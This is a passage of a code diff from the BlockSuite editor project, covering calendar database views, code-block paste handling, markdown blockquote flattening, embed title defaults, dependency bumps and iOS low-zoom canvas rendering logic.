).shouldIdleTurboBlocksDuringZooming;
expect(
shouldIdleTurboBlocksDuringZooming({
isIOS,
zoom,
})
).toBe(expected);
}
);
});
+5 -1
View File
@@ -1,3 +1,5 @@
import { fileURLToPath } from 'node:url';
import { vanillaExtractPlugin } from '@vanilla-extract/vite-plugin';
import { defineConfig } from 'vitest/config';
@@ -7,7 +9,9 @@ export default defineConfig({
},
plugins: [vanillaExtractPlugin()],
test: {
globalSetup: '../../../scripts/vitest-global.js',
globalSetup: fileURLToPath(
new URL('../../../scripts/vitest-global.js', import.meta.url)
),
include: ['src/__tests__/**/*.unit.spec.ts'],
testTimeout: 1000,
coverage: {
@@ -29,9 +29,9 @@
"yjs": "^13.6.27"
},
"devDependencies": {
"@vitest/browser-playwright": "^4.0.18",
"@vitest/browser-playwright": "^4.1.8",
"playwright": "=1.58.2",
"vitest": "^4.0.18"
"vitest": "^4.1.8"
},
"exports": {
".": "./src/index.ts",
@@ -1,4 +1,5 @@
import { deleteTextCommand } from '@blocksuite/affine-inline-preset';
import type { RichText } from '@blocksuite/affine-rich-text';
import {
HtmlAdapter,
pasteMiddleware,
@@ -18,6 +19,7 @@ import {
LifeCycleWatcher,
LifeCycleWatcherIdentifier,
StdIdentifier,
TextSelection,
type UIEventHandler,
} from '@blocksuite/std';
import type { ExtensionType } from '@blocksuite/store';
@@ -103,6 +105,30 @@ export class CodeBlockClipboardController extends LifeCycleWatcher {
const e = ctx.get('clipboardState').raw;
e.preventDefault();
const textSelection = this.std.selection.find(TextSelection);
const plainText = e.clipboardData
?.getData('text/plain')
?.replace(/\r?\n|\r/g, '\n');
const selectedBlockId = textSelection?.from.blockId;
const codeBlock = selectedBlockId
? this.std.store.getBlock(selectedBlockId)?.model
: null;
if (plainText && codeBlock?.flavour === 'affine:code' && selectedBlockId) {
const richText = this.std.view
.getBlock(selectedBlockId)
?.querySelector<RichText>('rich-text');
const inlineEditor = richText?.inlineEditor;
const inlineRange = inlineEditor?.getInlineRange();
if (inlineEditor && inlineRange) {
inlineEditor.insertText(inlineRange, plainText);
inlineEditor.setInlineRange({
index: inlineRange.index + plainText.length,
length: 0,
});
return true;
}
}
this.std.store.captureSync();
this.std.command
.chain()
@@ -254,6 +254,7 @@ export class DataViewBlockComponent extends CaptionedBlockComponent<DataViewBloc
dataSource: this.dataSource,
headerWidget: this.headerWidget,
clipboard: this.std.clipboard,
dnd: this.std.dnd,
notification: {
toast: message => {
const notification = this.std.getOptional(NotificationProvider);
@@ -54,9 +54,9 @@ type Cell = {
value: string | { delta: DeltaInsert[] };
};
export const processTable = (
columns: ColumnDataType[],
children: BlockSnapshot[],
cells: SerializedCells
columns: ColumnDataType[] = [],
children: BlockSnapshot[] = [],
cells: SerializedCells = {}
): Table => {
const table: Table = {
headers: columns,
@@ -90,13 +90,17 @@ export const processTable = (
return;
}
let value: string | { delta: DeltaInsert[] };
if (isDelta(cell.value)) {
value = cell.value;
} else {
value = property.config.rawValue.toString({
value: cell.value,
data: col.data,
});
try {
if (isDelta(cell.value)) {
value = cell.value;
} else {
value = property.config.rawValue.toString({
value: cell.value,
data: col.data,
});
}
} catch {
value = '';
}
row.cells.push({
value,
@@ -6,6 +6,7 @@ import { viewPresets } from '@blocksuite/data-view/view-presets';
import {
DatabaseKanbanViewIcon,
DatabaseTableViewIcon,
TodayIcon,
} from '@blocksuite/icons/lit';
import { insertDatabaseBlockCommand } from '../commands';
@@ -47,6 +48,35 @@ export const databaseSlashMenuConfig: SlashMenuConfig = {
},
},
{
name: 'Calendar View',
description: 'Display items by date in a calendar.',
searchAlias: ['database', 'calendar'],
icon: TodayIcon(),
group: '7_Database@1',
when: ({ model }) =>
!isInsideBlockByFlavour(model.store, model, 'affine:edgeless-text'),
action: ({ std }) => {
std.command
.chain()
.pipe(getSelectedModelsCommand)
.pipe(insertDatabaseBlockCommand, {
viewType: viewPresets.calendarViewMeta.type,
place: 'after',
removeEmptyLine: true,
})
.pipe(({ insertedDatabaseBlockId }) => {
if (insertedDatabaseBlockId) {
const telemetry = std.getOptional(TelemetryProvider);
telemetry?.track('BlockCreated', {
blockType: 'affine:database',
});
}
})
.run();
},
},
{
name: 'Kanban View',
description: 'Visualize data in a dashboard.',
@@ -34,6 +34,7 @@ import {
type SingleView,
uniMap,
} from '@blocksuite/data-view';
import { CalendarExternalSourceProvider } from '@blocksuite/data-view/view-presets';
import { widgetPresets } from '@blocksuite/data-view/widget-presets';
import { IS_MOBILE } from '@blocksuite/global/env';
import { Rect } from '@blocksuite/global/gfx';
@@ -150,6 +151,14 @@ export class DatabaseBlockComponent extends CaptionedBlockComponent<DatabaseBloc
config
);
});
this.std.provider
.getAll(CalendarExternalSourceProvider)
.forEach(source => {
dataSource.serviceSet(
CalendarExternalSourceProvider(source.id),
source
);
});
});
const id = currentViewStorage.getCurrentView(this.model.id);
if (id && dataSource.viewManager.viewGet(id)) {
@@ -293,6 +302,12 @@ export class DatabaseBlockComponent extends CaptionedBlockComponent<DatabaseBloc
widgetPresets.tools.viewOptions,
widgetPresets.tools.tableAddRow,
],
calendar: [
widgetPresets.tools.filter,
widgetPresets.tools.search,
widgetPresets.tools.viewOptions,
widgetPresets.tools.tableAddRow,
],
});
private readonly viewSelection$ = computed(() => {
@@ -427,6 +442,7 @@ export class DatabaseBlockComponent extends CaptionedBlockComponent<DatabaseBloc
headerWidget: this.headerWidget,
onDrag: this.onDrag,
clipboard: this.std.clipboard,
dnd: this.std.dnd,
notification: {
toast: message => {
const notification = this.std.getOptional(NotificationProvider);
@@ -4,6 +4,7 @@ import { viewConverts, viewPresets } from '@blocksuite/data-view/view-presets';
export const databaseBlockViews: ViewMeta[] = [
viewPresets.tableViewMeta,
viewPresets.kanbanViewMeta,
viewPresets.calendarViewMeta,
];
export const databaseBlockViewMap = Object.fromEntries(
@@ -117,7 +117,7 @@ export class EmbedGithubBlockComponent extends EmbedBlockComponent<
override renderBlock() {
const {
title = 'GitHub',
title,
githubType,
status,
statusReason,
@@ -139,7 +139,7 @@ export class EmbedGithubBlockComponent extends EmbedBlockComponent<
? getGithubStatusIcon(githubType, status, statusReason)
: nothing;
const statusText = loading ? '' : status;
const titleText = loading ? 'Loading...' : title;
const titleText = loading ? 'Loading...' : title || 'GitHub';
const descriptionText = loading ? '' : description;
const bannerImage =
!loading && image
@@ -89,14 +89,14 @@ export class EmbedLoomBlockComponent extends EmbedBlockComponent<
}
override renderBlock() {
const { image, title = 'Loom', description, videoId } = this.model.props;
const { image, title, description, videoId } = this.model.props;
const loading = this.loading;
const theme = this.std.get(ThemeProvider).theme;
const imageProxyService = this.store.get(ImageProxyService);
const { EmbedCardBannerIcon } = getEmbedCardIcons(theme);
const titleIcon = loading ? LoadingIcon() : LoomIcon;
const titleText = loading ? 'Loading...' : title;
const titleText = loading ? 'Loading...' : title || 'Loom';
const descriptionText = loading ? '' : description;
const bannerImage =
!loading && image
@@ -96,21 +96,15 @@ export class EmbedYoutubeBlockComponent extends EmbedBlockComponent<
}
override renderBlock() {
const {
image,
title = 'YouTube',
description,
creator,
creatorImage,
videoId,
} = this.model.props;
const { image, title, description, creator, creatorImage, videoId } =
this.model.props;
const loading = this.loading;
const theme = this.std.get(ThemeProvider).theme;
const imageProxyService = this.store.get(ImageProxyService);
const { EmbedCardBannerIcon } = getEmbedCardIcons(theme);
const titleIcon = loading ? LoadingIcon() : YoutubeIcon;
const titleText = loading ? 'Loading...' : title;
const titleText = loading ? 'Loading...' : title || 'YouTube';
const descriptionText = loading ? null : description;
const bannerImage =
!loading && image
@@ -276,7 +276,8 @@ export class ImageEdgelessBlockComponent extends GfxBlockComponent<ImageBlockMod
override renderGfxBlock() {
const blobUrl = this.blobUrl;
const { rotate = 0, size = 0, caption = 'Image' } = this.model.props;
const { rotate, size: rawSize, caption = 'Image' } = this.model.props;
const size = rawSize ?? 0;
this._resetLodSource(blobUrl);
const containerStyleMap = styleMap({
@@ -5,10 +5,11 @@ import {
IN_PARAGRAPH_NODE_CONTEXT_KEY,
isCalloutNode,
type MarkdownAST,
type MarkdownDeltaConverter,
} from '@blocksuite/affine-shared/adapters';
import type { DeltaInsert } from '@blocksuite/store';
import type { BlockSnapshot, DeltaInsert } from '@blocksuite/store';
import { nanoid } from '@blocksuite/store';
import type { Heading } from 'mdast';
import type { Blockquote, Heading, List, ListItem } from 'mdast';
/**
* Extend the HeadingData type to include the collapsed property
@@ -24,6 +25,131 @@ const PARAGRAPH_MDAST_TYPE = new Set(['paragraph', 'heading', 'blockquote']);
const isParagraphMDASTType = (node: MarkdownAST) =>
PARAGRAPH_MDAST_TYPE.has(node.type);
const joinDeltaLines = (
lines: DeltaInsert[][],
prefix?: string
): DeltaInsert[] => {
const deltas: DeltaInsert[] = [];
lines.forEach(line => {
if (deltas.length) deltas.push({ insert: '\n' });
if (prefix) deltas.push({ insert: prefix });
deltas.push(...line);
});
return deltas;
};
const flattenListItemToDelta = (
node: ListItem,
deltaConverter: MarkdownDeltaConverter,
prefix: string,
depth: number
): DeltaInsert[] => {
const firstParagraph = node.children[0];
const lines: DeltaInsert[][] = [];
if (firstParagraph?.type === 'paragraph') {
lines.push([
{ insert: prefix },
...deltaConverter.astToDelta(firstParagraph),
]);
} else {
lines.push([{ insert: prefix.trimEnd() }]);
}
node.children
.slice(firstParagraph?.type === 'paragraph' ? 1 : 0)
.forEach(child => {
const delta = flattenMarkdownBlockToDelta(
child as MarkdownAST,
deltaConverter,
depth + 1
);
if (delta.length) {
lines.push(delta);
}
});
return joinDeltaLines(lines);
};
const flattenMarkdownBlockToDelta = (
node: MarkdownAST,
deltaConverter: MarkdownDeltaConverter,
depth = 0
): DeltaInsert[] => {
switch (node.type) {
case 'paragraph':
case 'heading':
return deltaConverter.astToDelta(node);
case 'list': {
const list = node as List;
return joinDeltaLines(
list.children.map((item, index) => {
const order = (list.start ?? 1) + index;
const prefix =
' '.repeat(depth) + (list.ordered ? `${order}. ` : '- ');
return flattenListItemToDelta(item, deltaConverter, prefix, depth);
})
);
}
case 'blockquote':
return flattenBlockquoteToDelta(node as Blockquote, deltaConverter);
default:
return 'children' in node
? joinDeltaLines(
(node.children as MarkdownAST[]).map(child =>
flattenMarkdownBlockToDelta(child, deltaConverter, depth)
)
)
: [];
}
};
const flattenBlockquoteToDelta = (
node: Blockquote,
deltaConverter: MarkdownDeltaConverter
) =>
joinDeltaLines(
node.children.map(child =>
flattenMarkdownBlockToDelta(child as MarkdownAST, deltaConverter)
)
);
const getSnapshotTextDelta = (node: BlockSnapshot): DeltaInsert[] => {
const text = (node.props.text ?? { delta: [] }) as {
delta: DeltaInsert[];
};
return text.delta;
};
const flattenSnapshotBlockToDelta = (
node: BlockSnapshot,
depth = 0
): DeltaInsert[] => {
if (node.flavour === 'affine:list') {
const type = node.props.type;
const order = (node.props.order as number | undefined) ?? 1;
const prefix =
' '.repeat(depth) + (type === 'numbered' ? `${order}. ` : '- ');
return joinDeltaLines([
[{ insert: prefix }, ...getSnapshotTextDelta(node)],
...node.children.map(child =>
flattenSnapshotBlockToDelta(child, depth + 1)
),
]);
}
return joinDeltaLines([
getSnapshotTextDelta(node),
...node.children.map(child => flattenSnapshotBlockToDelta(child, depth)),
]);
};
const flattenQuoteSnapshotToDelta = (
text: DeltaInsert[],
children: BlockSnapshot[]
) =>
joinDeltaLines([
text,
...children.map(child => flattenSnapshotBlockToDelta(child)),
]);
export const paragraphBlockMarkdownAdapterMatcher: BlockMarkdownAdapterMatcher =
{
flavour: ParagraphBlockSchema.model.flavour,
@@ -93,7 +219,10 @@ export const paragraphBlockMarkdownAdapterMatcher: BlockMarkdownAdapterMatcher =
type: 'quote',
text: {
'$blocksuite:internal:text$': true,
delta: deltaConverter.astToDelta(o.node),
delta: flattenBlockquoteToDelta(
o.node as Blockquote,
deltaConverter
),
},
},
children: [],
@@ -160,6 +289,10 @@ export const paragraphBlockMarkdownAdapterMatcher: BlockMarkdownAdapterMatcher =
break;
}
case 'quote': {
const quoteDelta = flattenQuoteSnapshotToDelta(
text.delta,
o.node.children
);
walkerContext
.openNode(
{
@@ -171,12 +304,13 @@ export const paragraphBlockMarkdownAdapterMatcher: BlockMarkdownAdapterMatcher =
.openNode(
{
type: 'paragraph',
children: deltaConverter.deltaToAST(text.delta),
children: deltaConverter.deltaToAST(quoteDelta),
},
'children'
)
.closeNode()
.closeNode();
walkerContext.skipAllChildren();
break;
}
}
@@ -42,7 +42,7 @@ export class ParagraphHeadingIcon extends SignalWatcher(
margin-top: 0.3em;
position: absolute;
left: 0;
transform: translateX(-64px);
transform: translateX(-80px);
border-radius: 4px;
padding: 2px;
cursor: pointer;
@@ -101,6 +101,9 @@ export const ParagraphKeymapExtension = KeymapExtension(
return true;
},
Enter: ctx => {
const raw = ctx.get('keyboardState').raw;
if (raw.isComposing) return;
const { store } = std;
const text = std.selection.find(TextSelection);
if (!text) return;
@@ -115,7 +118,6 @@ export const ParagraphKeymapExtension = KeymapExtension(
const inlineRange = inlineEditor?.getInlineRange();
if (!inlineRange || !inlineEditor) return;
const raw = ctx.get('keyboardState').raw;
const isEnd = model.props.text.length === inlineRange.index;
if (model.props.type === 'quote') {
+1 -1
View File
@@ -43,7 +43,7 @@
"@blocksuite/store": "workspace:*",
"@preact/signals-core": "^1.8.0",
"@types/lodash-es": "^4.17.12",
"dompurify": "^3.3.0",
"dompurify": "^3.4.11",
"html2canvas": "^1.4.1",
"lit": "^3.2.0",
"lodash-es": "^4.17.23",
@@ -212,7 +212,7 @@ export class EdgelessRootBlockComponent extends BlockComponent<
currentCenter.y
);
viewport.setZoom(zoom, new Point(baseX, baseY));
viewport.setZoom(zoom, new Point(baseX, baseY), false, true, true);
return false;
})
@@ -351,7 +351,7 @@ export class EdgelessRootBlockComponent extends BlockComponent<
);
const zoom = normalizeWheelDeltaY(e.deltaY, viewport.zoom);
viewport.setZoom(zoom, new Point(baseX, baseY), true);
viewport.setZoom(zoom, new Point(baseX, baseY), true, true, true);
e.stopPropagation();
}
// pan
@@ -484,7 +484,7 @@ export class EdgelessRootBlockComponent extends BlockComponent<
.viewport=${this.gfx.viewport}
.getModelsInViewport=${() => {
const blocks = this.gfx.grid.search(
this.gfx.viewport.viewportBounds,
this.gfx.viewport.overscanBlockBounds,
{
useSet: true,
filter: ['block'],
@@ -230,7 +230,7 @@ export class EdgelessRootPreviewBlockComponent extends BlockComponent<RootBlockM
.viewport=${this._gfx.viewport}
.getModelsInViewport=${() => {
const blocks = this._gfx.grid.search(
this._gfx.viewport.viewportBounds,
this._gfx.viewport.overscanBlockBounds,
{
useSet: true,
filter: ['block'],
@@ -28,7 +28,7 @@
"yjs": "^13.6.27"
},
"devDependencies": {
"vitest": "^4.0.18"
"vitest": "^4.1.8"
},
"exports": {
".": "./src/index.ts",
@@ -2,6 +2,7 @@ import { type Color, ColorScheme } from '@blocksuite/affine-model';
import { FeatureFlagService } from '@blocksuite/affine-shared/services';
import { requestConnectedFrame } from '@blocksuite/affine-shared/utils';
import { DisposableGroup } from '@blocksuite/global/disposable';
import { IS_IOS } from '@blocksuite/global/env';
import {
Bound,
getBoundWithRotation,
@@ -18,7 +19,12 @@ import type {
SurfaceBlockModel,
Viewport,
} from '@blocksuite/std/gfx';
import { GfxControllerIdentifier } from '@blocksuite/std/gfx';
import {
getEffectiveDpr,
getPostGestureRecoveryDelay,
GfxControllerIdentifier,
viewportRuntimeConfig,
} from '@blocksuite/std/gfx';
import { effect } from '@preact/signals-core';
import last from 'lodash-es/last';
import { Subject } from 'rxjs';
@@ -28,6 +34,7 @@ import { ElementRendererIdentifier } from '../extensions/element-renderer.js';
import { RoughCanvas } from '../utils/rough/canvas.js';
import type { ElementRenderer } from './elements/index.js';
import type { Overlay } from './overlay.js';
import { resolveSurfacePlaceholderColor } from './placeholder-style.js';
type EnvProvider = {
generateColorProperty: (color: Color, fallback?: Color) => string;
@@ -116,6 +123,181 @@ type RefreshTarget =
};
const STACKING_CANVAS_PADDING = 32;
const IOS_LOW_ZOOM_SURVIVAL_THRESHOLD = 0.5;
export function shouldSyncCanvasBudgetOnViewportUpdate(
previousZoom: number,
nextZoom: number,
rawDpr = window.devicePixelRatio
) {
if (rawDpr <= 1) {
return false;
}
return (
getEffectiveDpr(previousZoom, rawDpr) !== getEffectiveDpr(nextZoom, rawDpr)
);
}
export function shouldUseLowZoomSurvivalMode(
isIOS: boolean,
zoom: number,
gestureActive: boolean
) {
return isIOS && gestureActive && zoom <= IOS_LOW_ZOOM_SURVIVAL_THRESHOLD;
}
export function getStackingCanvasBypassState(params: {
isIOS: boolean;
zoom: number;
gestureActive: boolean;
recoveryActive: boolean;
viewportWidth: number;
viewportHeight: number;
}) {
const {
isIOS,
zoom,
gestureActive,
recoveryActive,
viewportWidth,
viewportHeight,
} = params;
return (
isIOS &&
zoom <= IOS_LOW_ZOOM_SURVIVAL_THRESHOLD &&
(gestureActive || recoveryActive) &&
viewportWidth > viewportHeight
);
}
export function shouldBypassStackingCanvasesDuringLowZoomGesture(params: {
isIOS: boolean;
zoom: number;
gestureActive: boolean;
recoveryActive: boolean;
viewportWidth: number;
viewportHeight: number;
}) {
return getStackingCanvasBypassState(params);
}
export function getStackingCanvasAttachmentDiff(params: {
canvases: HTMLCanvasElement[];
wasAttached: boolean;
shouldAttach: boolean;
}) {
const { canvases, wasAttached, shouldAttach } = params;
if (wasAttached === shouldAttach) {
return {
added: [],
removed: [],
};
}
return shouldAttach
? {
added: canvases,
removed: [],
}
: {
added: [],
removed: canvases,
};
}
export function getMainCanvasFallbackBounds(params: {
viewportBounds: Bound;
overscanViewportBounds: Bound;
}) {
const { overscanViewportBounds } = params;
return {
cullBound: overscanViewportBounds,
renderBound: overscanViewportBounds,
};
}
export function getCanvasViewportLayout(params: {
bound: Bound;
viewportBounds: Bound;
zoom: number;
viewScale: number;
dpr: number;
}) {
const { bound, viewportBounds, zoom, viewScale, dpr } = params;
const width = bound.w * zoom;
const height = bound.h * zoom;
const left = (bound.x - viewportBounds.x) * zoom;
const top = (bound.y - viewportBounds.y) * zoom;
return {
actualHeight: Math.max(0, Math.ceil(height * dpr)),
actualWidth: Math.max(0, Math.ceil(width * dpr)),
height,
transform: `translate(${left}px, ${top}px) scale(${1 / viewScale})`,
width,
};
}
function applyCanvasViewportLayout(
canvas: HTMLCanvasElement,
layout: ReturnType<typeof getCanvasViewportLayout>
) {
const width = `${layout.width}px`;
const height = `${layout.height}px`;
if (canvas.style.left !== '0px') {
canvas.style.left = '0px';
}
if (canvas.style.top !== '0px') {
canvas.style.top = '0px';
}
if (canvas.style.width !== width) {
canvas.style.width = width;
}
if (canvas.style.height !== height) {
canvas.style.height = height;
}
if (canvas.style.transform !== layout.transform) {
canvas.style.transform = layout.transform;
}
if (canvas.style.transformOrigin !== 'top left') {
canvas.style.transformOrigin = 'top left';
}
if (canvas.width !== layout.actualWidth) {
canvas.width = layout.actualWidth;
}
if (canvas.height !== layout.actualHeight) {
canvas.height = layout.actualHeight;
}
}
export function shouldRenderCanvasPlaceholders(params: {
isIOS: boolean;
zoom: number;
isPanning: boolean;
isZooming: boolean;
skipRefreshDuringGesture: boolean;
turboEnabled: boolean;
}) {
const {
isIOS,
zoom,
isPanning,
isZooming,
skipRefreshDuringGesture,
turboEnabled,
} = params;
if (shouldUseLowZoomSurvivalMode(isIOS, zoom, isZooming)) {
return true;
}
return !skipRefreshDuringGesture && turboEnabled && isZooming && !isPanning;
}
export class CanvasRenderer {
private _container!: HTMLElement;
@@ -145,6 +327,19 @@ export class CanvasRenderer {
private _needsFullRender = true;
private _lastCanvasBudgetZoom = 1;
private _lastLowZoomSurvivalMode = false;
private _lastBypassStackingCanvases = false;
private _stackingCanvasesAttached = true;
private _stackingCanvasRecoveryUntil = 0;
private _stackingCanvasRecoveryTimerId: ReturnType<typeof setTimeout> | null =
null;
private _debugMetrics: MutableCanvasRendererDebugMetrics = {
refreshCount: 0,
coalescedRefreshCount: 0,
@@ -189,6 +384,10 @@ export class CanvasRenderer {
return this._stackingCanvas;
}
get stackingCanvasesAttached() {
return this._stackingCanvasesAttached;
}
constructor(options: RendererOptions) {
const canvas = document.createElement('canvas');
@@ -196,6 +395,7 @@ export class CanvasRenderer {
this.ctx = this.canvas.getContext('2d') as CanvasRenderingContext2D;
this.std = options.std;
this.viewport = options.viewport;
this._lastCanvasBudgetZoom = this.viewport.zoom;
this.layerManager = options.layerManager;
this.grid = options.gridManager;
this.provider = options.provider ?? {};
@@ -223,22 +423,28 @@ export class CanvasRenderer {
*
* It is not recommended to set width and height to 100%.
*/
private _canvasSizeUpdater(dpr = window.devicePixelRatio) {
const { width, height, viewScale } = this.viewport;
const actualWidth = Math.ceil(width * dpr);
const actualHeight = Math.ceil(height * dpr);
private _canvasSizeUpdater(
bound = this.viewport.overscanViewportBounds,
dpr = getEffectiveDpr(this.viewport.zoom)
) {
const layout = getCanvasViewportLayout({
bound,
viewportBounds: this.viewport.viewportBounds,
zoom: this.viewport.zoom,
viewScale: this.viewport.viewScale,
dpr,
});
return {
filter({ width, height }: HTMLCanvasElement) {
return width !== actualWidth || height !== actualHeight;
filter(canvas: HTMLCanvasElement) {
return (
canvas.width !== layout.actualWidth ||
canvas.height !== layout.actualHeight ||
canvas.style.transform !== layout.transform
);
},
update(canvas: HTMLCanvasElement) {
canvas.style.width = `${width}px`;
canvas.style.height = `${height}px`;
canvas.style.transform = `scale(${1 / viewScale})`;
canvas.style.transformOrigin = `top left`;
canvas.width = actualWidth;
canvas.height = actualHeight;
applyCanvasViewportLayout(canvas, layout);
},
};
}
@@ -246,7 +452,7 @@ export class CanvasRenderer {
private _applyStackingCanvasLayout(
canvas: HTMLCanvasElement,
bound: Bound | null,
dpr = window.devicePixelRatio
dpr = getEffectiveDpr(this.viewport.zoom)
) {
const state =
this._stackingCanvasState.get(canvas) ??
@@ -270,44 +476,18 @@ export class CanvasRenderer {
return;
}
const { viewportBounds, zoom, viewScale } = this.viewport;
const width = bound.w * zoom;
const height = bound.h * zoom;
const left = (bound.x - viewportBounds.x) * zoom;
const top = (bound.y - viewportBounds.y) * zoom;
const actualWidth = Math.max(1, Math.ceil(width * dpr));
const actualHeight = Math.max(1, Math.ceil(height * dpr));
const transform = `translate(${left}px, ${top}px) scale(${1 / viewScale})`;
const layout = getCanvasViewportLayout({
bound,
viewportBounds: this.viewport.viewportBounds,
zoom: this.viewport.zoom,
viewScale: this.viewport.viewScale,
dpr,
});
if (canvas.style.display !== 'block') {
canvas.style.display = 'block';
}
if (canvas.style.left !== '0px') {
canvas.style.left = '0px';
}
if (canvas.style.top !== '0px') {
canvas.style.top = '0px';
}
if (canvas.style.width !== `${width}px`) {
canvas.style.width = `${width}px`;
}
if (canvas.style.height !== `${height}px`) {
canvas.style.height = `${height}px`;
}
if (canvas.style.transform !== transform) {
canvas.style.transform = transform;
}
if (canvas.style.transformOrigin !== 'top left') {
canvas.style.transformOrigin = 'top left';
}
if (canvas.width !== actualWidth) {
canvas.width = actualWidth;
}
if (canvas.height !== actualHeight) {
canvas.height = actualHeight;
}
applyCanvasViewportLayout(canvas, layout);
state.bound = bound;
state.layerId = canvas.dataset.layerId ?? null;
@@ -434,6 +614,125 @@ export class CanvasRenderer {
this._applyStackingCanvasLayout(canvas, null);
}
private _syncStackingCanvasAttachment(shouldAttach: boolean) {
const payloadDiff = getStackingCanvasAttachmentDiff({
canvases: this._stackingCanvas,
wasAttached: this._stackingCanvasesAttached,
shouldAttach,
});
this._stackingCanvasesAttached = shouldAttach;
if (!payloadDiff.added.length && !payloadDiff.removed.length) {
return;
}
this.stackingCanvasUpdated.next({
canvases: this._stackingCanvas,
...payloadDiff,
});
}
private _isStackingCanvasRecoveryActive() {
return this._stackingCanvasRecoveryUntil > performance.now();
}
private _clearStackingCanvasRecoveryTimer() {
if (this._stackingCanvasRecoveryTimerId !== null) {
clearTimeout(this._stackingCanvasRecoveryTimerId);
this._stackingCanvasRecoveryTimerId = null;
}
}
private _scheduleStackingCanvasRecoveryWindow(
delayMs = viewportRuntimeConfig.POST_GESTURE_REFRESH_DELAY
) {
this._clearStackingCanvasRecoveryTimer();
this._stackingCanvasRecoveryUntil = performance.now() + delayMs;
this._stackingCanvasRecoveryTimerId = setTimeout(() => {
this._stackingCanvasRecoveryTimerId = null;
this._stackingCanvasRecoveryUntil = 0;
if (this._container) {
this._updatePlaceholderMode();
}
}, delayMs);
}
private _syncCanvasBudgetForViewportZoom() {
const nextZoom = this.viewport.zoom;
if (
!shouldSyncCanvasBudgetOnViewportUpdate(
this._lastCanvasBudgetZoom,
nextZoom
)
) {
this._lastCanvasBudgetZoom = nextZoom;
return;
}
this._lastCanvasBudgetZoom = nextZoom;
this._resetSize();
this._render();
}
private _updatePlaceholderMode() {
const gestureActive =
this.viewport.panning$.value || this.viewport.zooming$.value;
const recoveryActive = this._isStackingCanvasRecoveryActive();
const lowZoomSurvivalMode = shouldUseLowZoomSurvivalMode(
IS_IOS,
this.viewport.zoom,
gestureActive
);
const shouldBypassStackingCanvases =
shouldBypassStackingCanvasesDuringLowZoomGesture({
isIOS: IS_IOS,
zoom: this.viewport.zoom,
gestureActive,
recoveryActive,
viewportWidth: this.viewport.width,
viewportHeight: this.viewport.height,
});
const shouldRenderPlaceholders = shouldRenderCanvasPlaceholders({
isIOS: IS_IOS,
zoom: this.viewport.zoom,
isPanning: this.viewport.panning$.value,
isZooming: this.viewport.zooming$.value,
skipRefreshDuringGesture: this.viewport.SKIP_REFRESH_DURING_GESTURE,
turboEnabled: this._turboEnabled(),
});
const bypassModeChanged =
this._lastBypassStackingCanvases !== shouldBypassStackingCanvases;
this._syncStackingCanvasAttachment(!shouldBypassStackingCanvases);
if (this.usePlaceholder === shouldRenderPlaceholders) {
this._lastLowZoomSurvivalMode = lowZoomSurvivalMode;
this._lastBypassStackingCanvases = shouldBypassStackingCanvases;
if (bypassModeChanged) {
this.refresh({ type: 'all' });
}
return;
}
this.usePlaceholder = shouldRenderPlaceholders;
const survivalModeChanged =
this._lastLowZoomSurvivalMode !== lowZoomSurvivalMode;
this._lastLowZoomSurvivalMode = lowZoomSurvivalMode;
this._lastBypassStackingCanvases = shouldBypassStackingCanvases;
if (
survivalModeChanged ||
bypassModeChanged ||
!this.viewport.SKIP_REFRESH_DURING_GESTURE ||
!gestureActive
) {
this.refresh({ type: 'all' });
}
}
private _initStackingCanvas(onCreated?: (canvas: HTMLCanvasElement) => void) {
const layer = this.layerManager;
const updateStackingCanvas = () => {
@@ -476,7 +775,9 @@ export class CanvasRenderer {
};
if (diff > 0) {
payload.added = canvases.slice(-diff);
if (this._stackingCanvasesAttached) {
payload.added = canvases.slice(-diff);
}
} else {
payload.removed = currentCanvases.slice(diff);
payload.removed.forEach(canvas => {
@@ -485,7 +786,9 @@ export class CanvasRenderer {
});
}
this.stackingCanvasUpdated.next(payload);
if (payload.added.length || payload.removed.length) {
this.stackingCanvasUpdated.next(payload);
}
}
this.refresh({ type: 'all' });
@@ -503,41 +806,131 @@ export class CanvasRenderer {
private _initViewport() {
let sizeUpdatedRafId: number | null = null;
this._disposables.add({
dispose: () => this._clearStackingCanvasRecoveryTimer(),
});
this._disposables.add(
this.viewport.zoomUpdated.subscribe(() => {
this._syncCanvasBudgetForViewportZoom();
})
);
this._disposables.add(
this.viewport.viewportUpdated.subscribe(() => {
this._updatePlaceholderMode();
if (
this.viewport.SKIP_REFRESH_DURING_GESTURE &&
(this.viewport.panning$.value || this.viewport.zooming$.value)
) {
return;
}
this.refresh({ type: 'all' });
})
);
this._disposables.add(
this.viewport.sizeUpdated.subscribe(() => {
if (
IS_IOS &&
this.viewport.zoom <= IOS_LOW_ZOOM_SURVIVAL_THRESHOLD &&
this.viewport.width > this.viewport.height
) {
this._scheduleStackingCanvasRecoveryWindow();
if (this._container) {
this._updatePlaceholderMode();
}
}
if (sizeUpdatedRafId) return;
sizeUpdatedRafId = requestConnectedFrame(() => {
sizeUpdatedRafId = null;
this._resetSize();
this._render();
// When SKIP_REFRESH_DURING_GESTURE is active, schedule the render
// after a short delay to let the layout settle on orientation change,
// avoiding a white-flash from resizing + rendering in the same frame.
if (this.viewport.SKIP_REFRESH_DURING_GESTURE) {
setTimeout(() => this._render(), 16);
} else {
this._render();
}
}, this._container);
})
);
this._disposables.add(
this.viewport.zooming$.subscribe(isZooming => {
const shouldRenderPlaceholders = this._turboEnabled() && isZooming;
if (this.usePlaceholder !== shouldRenderPlaceholders) {
this.usePlaceholder = shouldRenderPlaceholders;
this.refresh({ type: 'all' });
}
this.viewport.zooming$.subscribe(() => {
this._updatePlaceholderMode();
})
);
// When SKIP_REFRESH_DURING_GESTURE is enabled, defer heavy canvas work
// while the gesture is still in-flight, but start the first recovery frame
// immediately once both gesture signals have fully settled.
if (this.viewport.SKIP_REFRESH_DURING_GESTURE) {
let pendingCanvasTimerId: ReturnType<typeof setTimeout> | null = null;
const cancelPendingCanvasRefresh = () => {
if (pendingCanvasTimerId !== null) {
clearTimeout(pendingCanvasTimerId);
pendingCanvasTimerId = null;
}
};
const scheduleCanvasRefresh = () => {
cancelPendingCanvasRefresh();
const delayMs = getPostGestureRecoveryDelay({
isPanning: this.viewport.panning$.value,
isZooming: this.viewport.zooming$.value,
fallbackDelayMs: viewportRuntimeConfig.POST_GESTURE_REFRESH_DELAY,
});
pendingCanvasTimerId = setTimeout(() => {
pendingCanvasTimerId = null;
// If a gesture is still in-flight when the timer fires, reschedule
// instead of dropping. Dropping here left connectors blank until a
// tap forced a synchronous refresh.
if (this.viewport.panning$.value || this.viewport.zooming$.value) {
scheduleCanvasRefresh();
return;
}
this.refresh({ type: 'all' });
}, delayMs);
};
this._disposables.add(
this.viewport.panning$.subscribe(panning => {
this._updatePlaceholderMode();
